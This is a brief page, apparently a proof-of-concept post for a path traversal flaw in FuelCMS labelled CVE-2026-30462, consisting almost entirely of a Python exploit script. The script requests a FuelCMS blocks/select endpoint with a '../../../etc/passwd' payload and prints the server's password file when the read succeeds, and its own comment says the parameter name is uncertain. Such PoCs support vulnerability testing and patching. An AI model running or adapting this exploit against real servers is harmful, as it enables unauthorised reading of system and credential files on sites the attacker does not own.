CVE-2026-30462 FuelCMS路径遍历漏洞

import requests # Target URL (adjust the host and path as needed) target_url = "http://localhost/fuel/index.php/fuel/blocks/select/" # PoC parameter for path traversal # Attempting to read /etc/passwd on a Linux system # The exact parameter name ('path' or 'file') may vary based on the controller implementation params = { "path": "../../../etc/passwd" } try: # Send the GET request with the traversal payload response = requests.get(target_url, params=params, timeout=10) # Check if the response indicates a successful read if response.status_code == 200 and "root:" in response.text: print("[+] Vulnerability Exploited Successfully!") print("[+] Sensitive file content found:") print(response.text) else: print("[-] Exploit failed or target not vulnerable.") print("Status Code:", response.status_code) except requests.exceptions.RequestException as e: print(f"[!] An error occurred: {e}")